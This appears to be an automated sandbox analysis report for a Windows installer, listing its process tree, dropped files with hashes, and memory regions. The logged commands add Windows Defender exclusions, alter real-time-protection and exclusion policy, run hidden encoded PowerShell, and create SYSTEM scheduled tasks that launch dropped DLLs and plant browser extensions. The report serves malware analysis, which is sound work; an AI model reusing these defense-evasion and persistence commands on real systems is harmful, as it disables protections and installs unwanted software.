C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gQqUtZbpZ" /SC once /ST 01:59:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gQqUtZbpZ"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gQqUtZbpZ"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qXnxKrbPbFSTFetyh" /SC once /ST 01:25:54 /RU "SYSTEM" /TR "\"C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\NltQOYk.exe\" ob /Fgsite_idfna 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "qXnxKrbPbFSTFetyh"3⤵
-
C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\NltQOYk.exeC:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\NltQOYk.exe ob /Fgsite_idfna 525403 /S2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bwrroZoeZRoQVpyAcj"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\OJLDvKxDU\UgXLtg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ZPVskaMeORyUtyn" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ZPVskaMeORyUtyn2" /F /xml "C:\Program Files (x86)\OJLDvKxDU\YscuLru.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "ZPVskaMeORyUtyn"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ZPVskaMeORyUtyn"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yrjCurKJXOthHv" /F /xml "C:\Program Files (x86)\jDcnSjPvYahU2\QGZgwWd.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NetXkRqHZJDfE2" /F /xml "C:\ProgramData\mMAjWdbxOIjSziVB\WChNsao.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YkvMZvjGAPbigdKuX2" /F /xml "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\xzMFtZn.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "nQHiQOLyvgcbJIDARWU2" /F /xml "C:\Program Files (x86)\qpZxqHvFKXpRC\suvUbLf.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "EJKQCvUwFyvoZzoaf" /SC once /ST 01:53:57 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dll\",#1 /Xesite_idiba 525403" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "EJKQCvUwFyvoZzoaf"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qXnxKrbPbFSTFetyh"3⤵
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dll",#1 /Xesite_idiba 5254032⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dll",#1 /Xesite_idiba 5254033⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "EJKQCvUwFyvoZzoaf"4⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {C7D957EF-55A2-4494-8146-9181834AA86B} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\OJLDvKxDU\YscuLru.xmlFilesize
2KB
MD5b82ed37eac917ecf22acc4cf97f3c664
SHA13fb566e57bb1db163f40241220f3181f20b097d5
SHA25637a7ea57c4a8817dc3b7755263b2ebd0ea7459eadc0d3f515ba1b28960ad67c3
SHA512cd20a90b1ac00f2c7cf09720de087a39d5e7f3592c911517655443e5077fc2026b235c8e7d36c36bb399235b3c8fba9f8b6d7afee722a845c451ef3c2cb1ce7e
-
C:\Program Files (x86)\jDcnSjPvYahU2\QGZgwWd.xmlFilesize
2KB
MD5b44264a41fefa466602ad77af1c77b7d
SHA1429bb7009da1cdd4f894bdefc6c084a9a41d3900
SHA256defcc4de8f15ca55e274b7d08d0ec10732a3d0d04f28ba7c0a37854a14453618
SHA512c20444a94498f8729411302acc7f9e4c2659d72fd18dfece85a4163b3b839dbdee9a477979b47385c1171df477f413e1c7def3820fce31411ce8a45e50f2f43b
-
C:\Program Files (x86)\qpZxqHvFKXpRC\suvUbLf.xmlFilesize
2KB
MD59c6d7faf3cf5669406eb92b098d7948a
SHA1d9469e6977f4079c1868556217fc639532d909b7
SHA256e1a5b0684658e7b21d2906fec42c208510432bbc591eb182d65ce20fafdf3a4d
SHA5126c3c402492a094fc9be242dc690b300645356a0b5ba0bfe798205394c4d0b5d2fac3d5a977e8852fb8550a538ad81a5ce245a0da9deda6bddea273f30bdf54cd
-
C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\xzMFtZn.xmlFilesize
2KB
MD5a3dcb8ff81b0abae219b4792432b5944
SHA1333294323ab510a81ebc5012df1b5883db4ad56d
SHA256344b9176c137945262591492401439d8de912276215563cdd584ca1487a7eb03
SHA512330008fdd5475cf98fcf0a3bd905c36308ba6257163017087489e7f58d0f5b48c817c194514f21376eafdd1343ddf44076e2654e450ee1a552cbcd686ecbec22
-
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpiFilesize
2.0MB
MD5f4f812416bd685eee851b5a822574f74
SHA1b521eda560685cb0e2e8d7186fbae35955762140
SHA256c0ed7e9892da33fde09a0dd11a21280494813714d0ba8560858c5b795e68615f
SHA51212309bc5843d5adcdec803f25ced385d7baf5521772c897de8581a163bdcf67d11e48c21f45feee12f5cd340a7c407404197b808ffd0957273b8ea912a0387cc
-
C:\ProgramData\mMAjWdbxOIjSziVB\WChNsao.xmlFilesize
2KB
MD59b6e03f8a125dea8c721f2cda35e9e9a
SHA13021e4983176451483a9affcdd77237d70f7d41a
SHA2560889b6da7fd22cdb402a8d4e193d97a4c19869eba05b9ab226dc510cdd5af023
SHA512484db81cd78d9fea263f87bfd25d47b6e432d290084bb14904ef3368f201e72208e57d3d9fcb579d2918e8d002f3a107e904230ac806e7a94e6c56ee57ea0504
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.jsonFilesize
187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.jsonFilesize
136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.jsonFilesize
150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
10KB
MD590e8bbe94418f6b0fbd8b3c38a78b50f
SHA133b7630b6bd49d2a9c439150272f6b47402f7a69
SHA25616d2860cbc75a405d3dc4ff726d3d37c418c2a6f0ae161f57c2f63dd5d20fc84
SHA51270a78dd0bd3fc2eca056a95c351a5c7fade760d2b04d393ee373a2702ffbaef004c19c7493aea4607e9e249a974595daa9da1313253e08ba89d44da06a5f563e
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesFilesize
26KB
MD55440d378f2645683d4fb4f1dc3cc3bb1
SHA1b29d39fe0e3ed2493320605bc6c54445c86b2d88
SHA25626803ee170ec7ba700560617abc2d20a442996b61287cf2ac57b3ab78a11b0ce
SHA5126e406e0eee54c154f3dfb89757ed739d224f52d69bc9252cef830755c37afeffcceeae0ed25527dcaaa63aaaae7bb70dbef2b64ac6393720fbc6817b85e76173
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5ede7f4e96e864d3e8949794a69f781a1
SHA182948cecb60e2d4bdb868d08845dc70273513a26
SHA2569b1ad63250f78ea5174a1e44b6bc94aa071c60df4fd94b14845d7d3c692c96cd
SHA5123f60b421ebcff5b732ed6388cf2be0b90bf2aec13901497b788cce616bd201509ad97c2ac98c1dad946252a90b7e57c826c9e3ed9817056aa7efc8fbaf260bab
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ZPB7YIX4WGHRYVQ3SXH.tempFilesize
7KB
MD5ea8395d8e266b84aa8dfbd6ff88edc78
SHA11e46b96e64a8388fac49839c8bc99bc4c2dabdc5
SHA256a293b001688852dc996b6e8f84cc76aea30cacb25faf9cdabaa85c3543563ed8
SHA51223a480e0b5cd44b6eca56f45e875723e2a476ed381ecb3a2ca204a1e1b7de1bbbe24dba31e19bf1dd410556b1eaf5ed2c5bc4a567e04f646c04d9b167fc4937a
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lf4jobx9.default-release\prefs.jsFilesize
6KB
MD5a1562e0b6227c239ccfb67848728d88e
SHA1426f6c58fa86c7199af4e23313e1f21546e70e34
SHA25631c7ad882a02af55d2692488a9889949103d3a715989811ec0eba7be06b83447
SHA512997893bd22cdcefcfad39f16a4497b9c8c43ee914ccfddcb10abd2833f93ece29d6e9498e1ff3b40c8eed05038bb78ae81fc279c9456a6ef8916c189750c2242
-
C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Windows\Temp\heXdjphsLYtTYYrU\wHxMNpVA\fCsyGXOGeyHtGQIc.wsfFilesize
9KB
MD57d0e9e2a000a4778e8f68aea56579660
SHA11839723ff2dea9ed520219e82ed969c3f8c0450d
SHA25655b6ceb13c486573215f162a33ec00866ec59490b587d4d40d9f0e2d504ea349
SHA5120b4c5a25207d4aa315f305215338605f9bddc4c70288eebcc30b3a6ab68277af4db67f669d8bb7856fb8eb871621ffccfa0445e06e4b496abafa6530747d8341
-
C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dllFilesize
6.4MB
MD5f7abebf1d656904f55bdea5a2e997543
SHA12c4cb9048f84322cd7669ac00f0c1f8b05db339a
SHA2565b1c4471df887df5d3a4331470ffcaf008c79cbe17186de3e83342676684c862
SHA512cd04387851e4cb59f5286b5f62d0022ee7a546b74c22b3c7422476839e22c4caf4d91fe81ef2ea367f32e12bb4bbf03954644f2f03456c20eb270233229c09e1
-
C:\Windows\system32\GroupPolicy\Machine\Registry.polFilesize
5KB
MD595a215a013ec7fda96d90c00c7525ead
SHA17da1c1d554ab2bdd491467d5d0da5b958d9c157b
SHA256674c4c426a307341e9c73fa290b9d53475ce2c1e892d7d490c31e46e3bd09b0a
SHA512c75e077f916330715203143b63c4a3a08bf3734be14e65dc1a9bbf277d3e39d9e40901662174c8a5b6f8940daa2e7859ef83a37c8ea91d3b258535c4cf52366b
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Temp\7zS1A16.tmp\Install.exeFilesize
6.6MB
MD5f8efb05b940b05fc74801b61b3c0f500
SHA18e3eb6d604f3552d48ebcb385fc2681716b172af
SHA25690c6b16de088ab3f5737bcb599bb9ffd69a28abd149ab986b7fe52ba8bb2f400
SHA512028ea55f06fbfb079673df19e6e6249e3a2107a3d5485586f8c18724bf0a6a996ea5a7e31721bed9f7bf677bbf789c596994601076c66676c92fbd3a94741fff
-
memory/1148-105-0x00000000015C0000-0x0000000001600000-memory.dmpFilesize
256KB
-
memory/1148-106-0x00000000015C0000-0x0000000001600000-memory.dmpFilesize
256KB
-
memory/1148-103-0x0000000074350000-0x00000000748FB000-memory.dmpFilesize
5.7MB
-
memory/1148-113-0x0000000074350000-0x00000000748FB000-memory.dmpFilesize
5.7MB
-
memory/1148-102-0x00000000015C0000-0x0000000001600000-memory.dmpFilesize
256KB
-
memory/1148-100-0x0000000074350000-0x00000000748FB000-memory.dmpFilesize
5.7MB
-
memory/2052-390-0x0000000001250000-0x0000000001827000-memory.dmpFilesize
5.8MB
-
memory/2096-61-0x00000000743C0000-0x000000007496B000-memory.dmpFilesize
5.7MB
-
memory/2096-62-0x00000000014B0000-0x00000000014F0000-memory.dmpFilesize
256KB
-
memory/2096-63-0x00000000743C0000-0x000000007496B000-memory.dmpFilesize
5.7MB
-
memory/2096-64-0x00000000014B0000-0x00000000014F0000-memory.dmpFilesize
256KB
-
memory/2096-65-0x00000000014B0000-0x00000000014F0000-memory.dmpFilesize
256KB
-
memory/2096-66-0x00000000743C0000-0x000000007496B000-memory.dmpFilesize
5.7MB
-
memory/2220-54-0x0000000002D10000-0x0000000002D90000-memory.dmpFilesize
512KB
-
memory/2220-59-0x0000000002D10000-0x0000000002D90000-memory.dmpFilesize
512KB
-
memory/2220-56-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmpFilesize
9.6MB
-
memory/2220-55-0x00000000027E0000-0x00000000027E8000-memory.dmpFilesize
32KB
-
memory/2220-58-0x0000000002D10000-0x0000000002D90000-memory.dmpFilesize
512KB
-
memory/2220-57-0x0000000002D10000-0x0000000002D90000-memory.dmpFilesize
512KB
-
memory/2220-53-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmpFilesize
9.6MB
-
memory/2220-52-0x000000001B750000-0x000000001BA32000-memory.dmpFilesize
2.9MB
-
memory/2220-60-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmpFilesize
9.6MB
-
memory/2288-77-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmpFilesize
9.6MB
-
memory/2288-78-0x0000000002070000-0x00000000020F0000-memory.dmpFilesize
512KB
-
memory/2288-82-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmpFilesize
9.6MB
-
memory/2288-81-0x0000000002070000-0x00000000020F0000-memory.dmpFilesize
512KB
-
memory/2288-80-0x0000000002070000-0x00000000020F0000-memory.dmpFilesize
512KB
-
memory/2288-79-0x0000000002070000-0x00000000020F0000-memory.dmpFilesize
512KB
-
memory/2336-26-0x0000000010000000-0x00000000105D7000-memory.dmpFilesize
5.8MB
-
memory/2476-21-0x0000000073980000-0x0000000073F2B000-memory.dmpFilesize
5.7MB
-
memory/2476-20-0x0000000002F60000-0x0000000002FA0000-memory.dmpFilesize
256KB
-
memory/2476-19-0x0000000073980000-0x0000000073F2B000-memory.dmpFilesize
5.7MB
-
memory/2488-353-0x0000000008D80000-0x0000000008E04000-memory.dmpFilesize
528KB
-
memory/2488-367-0x0000000008E10000-0x0000000008EDB000-memory.dmpFilesize
812KB
-
memory/2488-143-0x0000000007F20000-0x0000000007F82000-memory.dmpFilesize
392KB
-
memory/2488-98-0x0000000008840000-0x00000000088C5000-memory.dmpFilesize
532KB
-
memory/2488-87-0x0000000010000000-0x00000000105D7000-memory.dmpFilesize
5.8MB
-
memory/2808-39-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmpFilesize
9.6MB
-
memory/2808-36-0x000000001B5E0000-0x000000001B8C2000-memory.dmpFilesize
2.9MB
-
memory/2808-41-0x0000000001FC0000-0x0000000001FC8000-memory.dmpFilesize
32KB
-
memory/2808-40-0x0000000002DF0000-0x0000000002E70000-memory.dmpFilesize
512KB
-
memory/2808-43-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmpFilesize
9.6MB
-
